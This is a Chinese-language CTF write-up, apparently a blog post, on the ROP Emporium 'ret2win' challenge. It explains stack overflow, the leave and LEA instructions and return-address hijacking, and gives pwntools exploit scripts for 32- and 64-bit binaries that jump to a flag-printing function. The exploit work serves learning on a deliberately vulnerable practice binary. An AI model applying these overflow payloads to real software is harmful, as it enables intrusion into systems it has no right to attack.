1_ret32win

ROPr入口:https://ropemporium.com/

1.无法写入shellcoede, 查找敏感的函数(作者自己留下的后门函数)
2.既然有了可以利用的函数,我们就开始构造
3.fgets() 最多读取buffer-1(包括回车)

1_ret32win_第1张图片

4. LEA是微机8086/8088系列的一条指令,取自英语Load effective address——取[有效地址],也就是取[偏移地址]。在微机8086/8088中有20位[物理地址],由16[位段]基址向左偏移4位再与偏移地址之和得到。地址传送指令之一。

mov ax,2
mov bx,1
sub ax,bx
其中sub ax,bx就是ax中的值减bx中的值,等于1,然后把结果,也就是1,放入ax中。 

6.为什么要p32(0) 回答:覆盖ebp的值 ,在执行leave的时候其实就是在pop ebp。
1_ret32win_第2张图片

leave详解

在16位汇编下相当于:
mov sp,bp
pop bp
 在32位汇编下相当于:
mov esp,ebp
pop ebp

7.知道了溢出大小,p32(0),就差我们的ret了, ret是返回地址的意思。 我们可以利用ret,劫持程序的流程(到达我们想去的地方)。
8.点开有惊喜:https://blog.csdn.net/striver1205/article/details/25695437

int ret2win()
{
  printf("Thank you! Here's your flag:");
  return system("/bin/cat flag.txt");
}
32
from pwn import*
##context.log_level = 'debug'
p  = process("./ret2win32")
##p = remote("","")
ret2win_addr = 0x8048659   //跳转到这个函数里面去执行system(cat  .....)

payload = 'A'* 0x28
payload += p32(0)
payload += p32(ret2win_addr)

p.sendline(payload)
p.interactive()


原理一样

64


from pwn import*
##context.log_level = 'debug'
p  = process("./ret2win")
##p = remote("","")
system_addr = 0x400811

payload =  'A' * 0x20
payload += p64(0)
payload += p64(system_addr)


p.sendline(payload)
p.interactive()

你可能感兴趣的:(1_ret32win)